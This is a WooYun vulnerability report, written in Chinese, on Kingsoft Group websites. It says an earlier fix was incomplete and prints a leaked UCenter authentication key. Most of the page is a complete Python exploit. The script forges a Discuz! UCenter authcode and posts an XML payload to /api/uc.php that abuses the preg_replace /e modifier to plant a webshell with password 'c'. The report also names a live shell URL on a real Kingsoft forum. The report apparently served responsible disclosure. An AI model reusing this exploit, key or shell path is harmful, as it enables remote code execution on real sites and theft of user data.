当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0190002

漏洞标题:金山软件集团多站漏洞导致Getshell

相关厂商:金山软件集团

漏洞作者: 路人甲7

提交时间:2016-03-28 15:23

修复时间:2016-05-12 15:41

公开时间:2016-05-12 15:41

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经确认,细节仅向厂商公开
2016-04-07: 细节向核心白帽子及相关领域专家公开
2016-04-17: 细节向普通白帽子公开
2016-04-27: 细节向实习白帽子公开
2016-05-12: 细节向公众公开

简要描述:

金山软件集团多站漏洞导致Getshell 第2季

详细说明:

呵呵
这个 WooYun: 金山软件多站漏洞导致Getshell(涉及用户数据含密码) 修复不完整
uckey: 还可以用4arcx98dG9w4fcnfI5x41fPcr84609y4A3sf3bl96axbSdocUfk6G2Eay9z69fA9
代码
import sys
import hashlib
import time
import math
import base64
import urllib2
import urllib
import re
import requests
import json
global cookie
global formhash
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
length=len(result)
return keyc + base64.b64encode(result).replace('=', '')
def get_cookie_formhash(host):
global cookie
global formhash
headers = {'content-type': 'application/json'}
r=requests.get(host,headers=headers)
cookie=r.cookies
hash=re.findall(r'formhash" value="[0-9A-z]{1,10}"',r.text)
_formhash=re.findall(r'"[0-9A-z]{1,10}"',hash[0])
formhash=_formhash[0].replace('"','')
def getshell(host,key):
global cookie
global formhash
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
tm=time.time()+10*3600
agent=hashlib.md5("Mozilla/5.0 (Windows NT 6.1; WOW64)")
string="agent=%s&time=%s&action=updatebadwords" % (agent,tm)
code=urllib.quote(get_authcode(string,key))
get_cookie_formhash(host)
url="%s/api/uc.php?code=%s&formhash=%s" % (host,code,formhash)
payload='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="0">
<item id="findpattern">/admin/e</item>
<item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>
</item>
</root>'''
r=requests.post(url,data=payload,cookies=cookie,headers=header)
print url
print r.text
if re.findall('^1',r.text):
print 'success shell is %s/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin password is c' % (host)
if __name__ == '__main__':
commands=sys.argv[1:2]
keys=sys.argv[2:]
args="".join(commands)
argss="".join(keys)
print args,argss
if len(args) < 5:
sys.exit()
else:
getshell(args,argss)
直接shell

漏洞证明:

成功shell

1.jpg


http://bbs.kingsoftstore.com/tmp1.php 1

修复方案:

1

版权声明:转载请注明来源 路人甲7@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-03-28 15:41

厂商回复:

感谢提交,已通知业务进行修复处理

最新状态:

暂无